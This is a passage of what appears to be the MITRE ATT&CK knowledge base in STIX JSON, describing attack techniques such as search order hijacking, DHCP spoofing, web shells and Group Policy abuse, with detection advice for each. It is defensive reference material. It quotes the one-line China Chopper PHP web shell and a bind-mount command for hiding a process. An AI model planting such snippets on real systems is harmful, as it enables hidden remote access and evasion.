            "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument <code>net user</code>. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then <code>cmd.exe /C net user</code> will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Modification",
                "File: File Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5909f20f-3c39-4795-be06-ef1ea40d350b",
            "created": "2019-04-08T17:51:41.390Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1491",
                    "external_id": "T1491"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T15:15:35.374Z",
            "name": "Defacement",
            "description": "Adversaries may modify visual content available internally or externally to an enterprise network, thus affecting the integrity of the original content. Reasons for [Defacement](https://attack.mitre.org/techniques/T1491) include delivering messaging, intimidation, or claiming (possibly false) credit for an intrusion. Disturbing or offensive images may be used as a part of [Defacement](https://attack.mitre.org/techniques/T1491) in order to cause user discomfort, or to pressure compliance with accompanying messages. \n",
            "kill_chain_phases": [
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            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor internal and external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation.\n\n",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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                "Linux",
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            "x_mitre_version": "1.4",
            "x_mitre_impact_type": [
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            "x_mitre_data_sources": [
                "Network Traffic: Network Traffic Content",
                "File: File Creation",
                "Application Log: Application Log Content",
                "File: File Modification"
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        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--59bd0dec-f8b2-4b9a-9141-37a1e6899761",
            "created": "2019-09-04T14:35:04.617Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1535",
                    "external_id": "T1535"
                },
                {
                    "source_name": "CloudSploit - Unused AWS Regions",
                    "description": "CloudSploit. (2019, June 8). The Danger of Unused AWS Regions. Retrieved October 8, 2019.",
                    "url": "https://medium.com/cloudsploit/the-danger-of-unused-aws-regions-af0bf1b878fc"
                }
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            "object_marking_refs": [
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            "modified": "2025-04-15T23:17:42.649Z",
            "name": "Unused/Unsupported Cloud Regions",
            "description": "Adversaries may create cloud instances in unused geographic service regions in order to evade detection. Access is usually obtained through compromising accounts used to manage cloud infrastructure.\n\nCloud service providers often provide infrastructure throughout the world in order to improve performance, provide redundancy, and allow customers to meet compliance requirements. Oftentimes, a customer will only use a subset of the available regions and may not actively monitor other regions. If an adversary creates resources in an unused region, they may be able to operate undetected.\n\nA variation on this behavior takes advantage of differences in functionality across cloud regions. An adversary could utilize regions which do not support advanced detection services in order to avoid detection of their activity.\n\nAn example of adversary use of unused AWS regions is to mine cryptocurrency through [Resource Hijacking](https://attack.mitre.org/techniques/T1496), which can cost organizations substantial amounts of money over time depending on the processing power used.(Citation: CloudSploit - Unused AWS Regions)",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor system logs to review activities occurring across all cloud environments and regions. Configure alerting to notify of activity in normally unused regions or if the number of instances active in a region goes above a certain threshold.(Citation: CloudSploit - Unused AWS Regions)",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
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                "Instance: Instance Metadata"
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--59ff91cd-1430-4075-8563-e6f15f4f9ff5",
            "created": "2022-03-24T19:30:56.727Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1557/003",
                    "external_id": "T1557.003"
                },
                {
                    "source_name": "rfc2131",
                    "description": "Droms, R. (1997, March). Dynamic Host Configuration Protocol. Retrieved March 9, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc2131"
                },
                {
                    "source_name": "new_rogue_DHCP_serv_malware",
                    "description": "Irwin, Ullrich, J. (2009, March 16). new rogue-DHCP server malware. Retrieved January 14, 2022.",
                    "url": "https://isc.sans.edu/forums/diary/new+rogueDHCP+server+malware/6025/"
                },
                {
                    "source_name": "rfc3315",
                    "description": "J. Bound, et al. (2003, July). Dynamic Host Configuration Protocol for IPv6 (DHCPv6). Retrieved June 27, 2022.",
                    "url": "https://datatracker.ietf.org/doc/html/rfc3315"
                },
                {
                    "source_name": "dhcp_serv_op_events",
                    "description": "Microsoft. (2006, August 31).  DHCP Server Operational Events. Retrieved March 7, 2022.",
                    "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-R2-and-2012/dn800668(v=ws.11)"
                },
                {
                    "source_name": "solution_monitor_dhcp_scopes",
                    "description": "Shoemaker, E. (2015, December 31). Solution: Monitor DHCP Scopes and Detect Man-in-the-Middle Attacks with PRTG and PowerShell. Retrieved September 12, 2024.",
                    "url": "https://web.archive.org/web/20231202025258/https://lockstepgroup.com/blog/monitor-dhcp-scopes-and-detect-man-in-the-middle-attacks/"
                },
                {
                    "source_name": "w32.tidserv.g",
                    "description": "Symantec. (2009, March 22). W32.Tidserv.G. Retrieved January 14, 2022.",
                    "url": "https://web.archive.org/web/20150923175837/http://www.symantec.com/security_response/writeup.jsp?docid=2009-032211-2952-99&tabid=2"
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            "modified": "2025-04-15T22:13:20.292Z",
            "name": "DHCP Spoofing",
            "description": "Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a <code>INFORMATION-REQUEST (code 11)</code> message to the <code>All_DHCP_Relay_Agents_and_Servers</code> multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. ",
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                {
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                    "phase_name": "credential-access"
                },
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "collection"
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            ],
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            "x_mitre_contributors": [
                "Alex Spivakovsky, Pentera",
                "Andrew Allen, @whitehat_zero"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor network traffic for suspicious/malicious behavior involving DHCP, such as changes in DNS and/or gateway parameters. Additionally, monitor Windows logs for Event IDs (EIDs) 1341, 1342, 1020 and 1063, which specify that the IP allocations are low or have run out; these EIDs may indicate a denial of service attack.(Citation: dhcp_serv_op_events)(Citation: solution_monitor_dhcp_scopes)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b",
            "created": "2017-12-14T16:46:06.044Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1155",
                    "external_id": "T1155"
                },
                {
                    "source_name": "Macro Malware Targets Macs",
                    "description": "Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.",
                    "url": "https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/"
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            "modified": "2025-04-25T15:15:35.716Z",
            "name": "AppleScript",
            "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the <code>osalang</code> program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python  (Citation: Macro Malware Targets Macs). Scripts can be run from the command-line via <code>osascript /path/to/script</code> or <code>osascript -e \"script here\"</code>.",
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                    "phase_name": "execution"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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        {
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            "id": "attack-pattern--5b0ad6f8-6a16-4966-a4ef-d09ea6e2a9f5",
            "created": "2020-02-25T18:26:16.994Z",
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                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1563",
                    "external_id": "T1563"
                },
                {
                    "source_name": "RDP Hijacking Medium",
                    "description": "Beaumont, K. (2017, March 19). RDP hijacking\u200a\u2014\u200ahow to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017.",
                    "url": "https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6"
                },
                {
                    "source_name": "Breach Post-mortem SSH Hijack",
                    "description": "Hodgson, M. (2019, May 8). Post-mortem and remediations for Apr 11 security incident. Retrieved November 17, 2024.",
                    "url": "https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/"
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            "object_marking_refs": [
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            "modified": "2025-04-15T23:00:02.178Z",
            "name": "Remote Service Session Hijacking",
            "description": "Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.\n\nAdversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)",
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                {
                    "kill_chain_name": "mitre-attack",
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                "Command: Command Execution",
                "Process: Process Creation",
                "Logon Session: Logon Session Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5bd41255-a224-4425-a2e2-e9d293eafe1c",
            "created": "2025-01-30T21:01:16.340Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/013",
                    "external_id": "T1564.013"
                },
                {
                    "source_name": "Ahn Lab CoinMiner 2023",
                    "description": "Ahn Lab. (2023, April 24). CoinMiner (KONO DIO DA) Distributed to Linux SSH Servers. Retrieved April 4, 2025.",
                    "url": "https://asec.ahnlab.com/en/51908/"
                },
                {
                    "source_name": "Cado Security Commando Cat 2024",
                    "description": "Nate Bill & Matt Muir. (2024, February 1). The Nine Lives of Commando Cat: Analysing a Novel Malware Campaign Targeting Docker. Retrieved April 4, 2025.",
                    "url": "https://www.cadosecurity.com/blog/the-nine-lives-of-commando-cat-analysing-a-novel-malware-campaign-targeting-docker"
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            "modified": "2025-04-15T19:58:34.469Z",
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            "description": "Adversaries may abuse bind mounts on file structures to hide their activity and artifacts from native utilities. A bind mount maps a directory or file from one location on the filesystem to another, similar to a shortcut on Windows. It\u2019s commonly used to provide access to specific files or directories across different environments, such as inside containers or chroot environments, and requires sudo access. \n\nAdversaries may use bind mounts to map either an empty directory or a benign `/proc` directory to a malicious process\u2019s `/proc` directory. Using the commands `mount \u2013o bind /proc/benign-process /proc/malicious-process` (or `mount \u2013B`), the malicious process's `/proc` directory is overlayed with the contents of a benign process's `/proc` directory. When system utilities query process activity, such as `ps` and `top`, the kernel follows the bind mount and presents the benign directory\u2019s contents instead of the malicious process's actual `/proc` directory. As a result, these utilities display information that appears to come from the benign process, effectively hiding the malicious process's metadata, executable, or other artifacts from detection.(Citation: Cado Security Commando Cat 2024)(Citation: Ahn Lab CoinMiner 2023)",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.0",
            "x_mitre_data_sources": [
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                "Command: Command Execution",
                "Process: OS API Execution"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5bfccc3f-2326-4112-86cc-c1ece9d8a2b5",
            "created": "2020-02-05T14:04:25.865Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1027/001",
                    "external_id": "T1027.001"
                },
                {
                    "source_name": "ESET OceanLotus",
                    "description": "Folt\u00fdn, T. (2018, March 13). OceanLotus ships new backdoor using old tricks. Retrieved May 22, 2018.",
                    "url": "https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/"
                },
                {
                    "source_name": "Securelist Malware Tricks April 2017",
                    "description": "Ishimaru, S.. (2017, April 13). Old Malware Tricks To Bypass Detection in the Age of Big Data. Retrieved May 30, 2019.",
                    "url": "https://securelist.com/old-malware-tricks-to-bypass-detection-in-the-age-of-big-data/78010/"
                },
                {
                    "source_name": "VirusTotal FAQ",
                    "description": "VirusTotal. (n.d.). VirusTotal FAQ. Retrieved May 23, 2019.",
                    "url": "https://www.virustotal.com/en/faq/"
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            ],
            "object_marking_refs": [
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            "modified": "2025-04-25T14:46:48.991Z",
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            "x_mitre_contributors": [
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            "x_mitre_detection": "Depending on the method used to pad files, a file-based signature may be capable of detecting padding using a scanning or on-access based tool.  When executed, the resulting process from padded files may also exhibit other behavior characteristics of being used to conduct an intrusion such as system and network information Discovery or Lateral Movement, which could be used as event indicators that point to the source file. ",
            "x_mitre_domains": [
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            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
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        {
            "type": "attack-pattern",
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            "id": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb",
            "created": "2019-12-13T16:46:18.927Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1505/003",
                    "external_id": "T1505.003"
                },
                {
                    "source_name": "NSA Cyber Mitigating Web Shells",
                    "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.",
                    "url": "https://github.com/nsacyber/Mitigating-Web-Shells"
                },
                {
                    "source_name": "volexity_0day_sophos_FW",
                    "description": "Adair, S., Lancaster, T., Volexity Threat Research. (2022, June 15). DriftingCloud: Zero-Day Sophos Firewall Exploitation and an Insidious Breach. Retrieved July 1, 2022.",
                    "url": "https://www.volexity.com/blog/2022/06/15/driftingcloud-zero-day-sophos-firewall-exploitation-and-an-insidious-breach/"
                },
                {
                    "source_name": "Lee 2013",
                    "description": "Lee, T., Hanzlik, D., Ahl, I. (2013, August 7). Breaking Down the China Chopper Web Shell - Part I. Retrieved March 27, 2015.",
                    "url": "https://www.fireeye.com/blog/threat-research/2013/08/breaking-down-the-china-chopper-web-shell-part-i.html"
                },
                {
                    "source_name": "US-CERT Alert TA15-314A Web Shells",
                    "description": "US-CERT. (2015, November 13). Compromised Web Servers and Web Shells - Threat Awareness and Guidance. Retrieved June 8, 2016.",
                    "url": "https://www.us-cert.gov/ncas/alerts/TA15-314A"
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            "description": "Adversaries may backdoor web servers with web shells to establish persistent access to systems. A Web shell is a Web script that is placed on an openly accessible Web server to allow an adversary to access the Web server as a gateway into a network. A Web shell may provide a set of functions to execute or a command-line interface on the system that hosts the Web server.(Citation: volexity_0day_sophos_FW)\n\nIn addition to a server-side script, a Web shell may have a client interface program that is used to talk to the Web server (e.g. [China Chopper](https://attack.mitre.org/software/S0020) Web shell client).(Citation: Lee 2013)",
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            "x_mitre_detection": "Web shells can be difficult to detect. Unlike other forms of persistent remote access, they do not initiate connections. The portion of the Web shell that is on the server may be small and innocuous looking. The PHP version of the China Chopper Web shell, for example, is the following short payload: (Citation: Lee 2013) \n\n<code>&lt;?php @eval($_POST['password']);&gt;</code>\n\nNevertheless, detection mechanisms exist. Process monitoring may be used to detect Web servers that perform suspicious actions such as spawning cmd.exe or accessing files that are not in the Web directory.(Citation: NSA Cyber Mitigating Web Shells)\n\nFile monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)\n\nLog authentication attempts to the server and any unusual traffic patterns to or from the server and internal network. (Citation: US-CERT Alert TA15-314A Web Shells)",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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                    "url": "https://attack.mitre.org/techniques/T1484/001",
                    "external_id": "T1484.001"
                },
                {
                    "source_name": "Mandiant M Trends 2016",
                    "description": "Mandiant. (2016, February 25). Mandiant M-Trends 2016. Retrieved November 17, 2024.",
                    "url": "https://web.archive.org/web/20211024160454/https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf"
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                {
                    "source_name": "ADSecurity GPO Persistence 2016",
                    "description": "Metcalf, S. (2016, March 14). Sneaky Active Directory Persistence #17: Group Policy. Retrieved March 5, 2019.",
                    "url": "https://adsecurity.org/?p=2716"
                },
                {
                    "source_name": "Microsoft Hacking Team Breach",
                    "description": "Microsoft Secure Team. (2016, June 1). Hacking Team Breach: A Cyber Jurassic Park. Retrieved March 5, 2019.",
                    "url": "https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/"
                },
                {
                    "source_name": "Wald0 Guide to GPOs",
                    "description": "Robbins, A. (2018, April 2). A Red Teamer\u2019s Guide to GPOs and OUs. Retrieved March 5, 2019.",
                    "url": "https://wald0.com/?p=179"
                },
                {
                    "source_name": "Harmj0y Abusing GPO Permissions",
                    "description": "Schroeder, W. (2016, March 17). Abusing GPO Permissions. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/redteaming/abusing-gpo-permissions/"
                },
                {
                    "source_name": "Harmj0y SeEnableDelegationPrivilege Right",
                    "description": "Schroeder, W. (2017, January 10). The Most Dangerous User Right You (Probably) Have Never Heard Of. Retrieved September 23, 2024.",
                    "url": "https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/"
                },
                {
                    "source_name": "TechNet Group Policy Basics",
                    "description": "srachui. (2012, February 13). Group Policy Basics \u2013 Part 1: Understanding the Structure of a Group Policy Object. Retrieved March 5, 2019.",
                    "url": "https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/"
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            "modified": "2025-04-15T19:58:34.774Z",
            "name": "Group Policy Modification",
            "description": "Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD). GPOs are containers for group policy settings made up of files stored within a predictable network path `\\<DOMAIN>\\SYSVOL\\<DOMAIN>\\Policies\\`.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016) \n\nLike other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.\n\nMalicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002),  and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)\n\nFor example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code>&lt;GPO_PATH&gt;\\Machine\\Preferences\\ScheduledTasks\\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code>&lt;GPO_PATH&gt;\\MACHINE\\Microsoft\\Windows NT\\SecEdit\\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary's control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)",
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            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.1",
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--5e4a2073-9643-44cb-a0b5-e7f4048446c7",
            "created": "2018-04-18T17:59:24.739Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
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                    "url": "https://attack.mitre.org/techniques/T1217",
                    "external_id": "T1217"
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                {
                    "source_name": "Chrome Roaming Profiles",
                    "description": "Chrome Enterprise and Education Help. (n.d.). Use Chrome Browser with Roaming User Profiles. Retrieved March 28, 2023.",
                    "url": "https://support.google.com/chrome/a/answer/7349337"
                },
                {
                    "source_name": "Kaspersky Autofill",
                    "description": "Golubev, S. (n.d.). How malware steals autofill data from browsers. Retrieved March 28, 2023.",
                    "url": "https://www.kaspersky.com/blog/browser-data-theft/27871/"
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            "modified": "2025-04-15T21:54:16.719Z",
            "name": "Browser Information Discovery",
            "description": "Adversaries may enumerate information about browsers to learn more about compromised environments. Data saved by browsers (such as bookmarks, accounts, and browsing history) may reveal a variety of personal information about users (e.g., banking sites, relationships/interests, social media, etc.) as well as details about internal network resources such as servers, tools/dashboards, or other related infrastructure.(Citation: Kaspersky Autofill)\n\nBrowser information may also highlight additional targets after an adversary has access to valid credentials, especially [Credentials In Files](https://attack.mitre.org/techniques/T1552/001) associated with logins cached by a browser.\n\nSpecific storage locations vary based on platform and/or application, but browser information is typically stored in local files and databases (e.g., `%APPDATA%/Google/Chrome`).(Citation: Chrome Roaming Profiles)",
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            "x_mitre_detection": "Monitor processes and command-line arguments for actions that could be taken to gather browser bookmark information. Remote access tools with built-in features may interact directly using APIs to gather information. Information may also be acquired through system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Collection and Exfiltration, based on the information obtained.",
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Linux",
                "Windows",
                "macOS"
            ],
            "x_mitre_version": "2.0",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "Command: Command Execution",
                "File: File Access"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf",
            "created": "2020-02-04T13:06:49.258Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1552/004",
                    "external_id": "T1552.004"
                },
                {
                    "source_name": "Palo Alto Prince of Persia",
                    "description": "Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia \u2013 Game Over. Retrieved July 5, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"
                },
                {
                    "source_name": "cisco_deploy_rsa_keys",
                    "description": "Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.",
                    "url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"
                },
                {
                    "source_name": "AADInternals Azure AD Device Identities",
                    "description": "Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.",
                    "url": "https://aadinternals.com/post/deviceidentity/"
                },
                {
                    "source_name": "Kaspersky Careto",
                    "description": "Kaspersky Labs. (2014, February 11). Unveiling \u201cCareto\u201d - The Masked APT. Retrieved July 5, 2017.",
                    "url": "https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"
                },
                {
                    "source_name": "Microsoft Primary Refresh Token",
                    "description": "Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.",
                    "url": "https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"
                },
                {
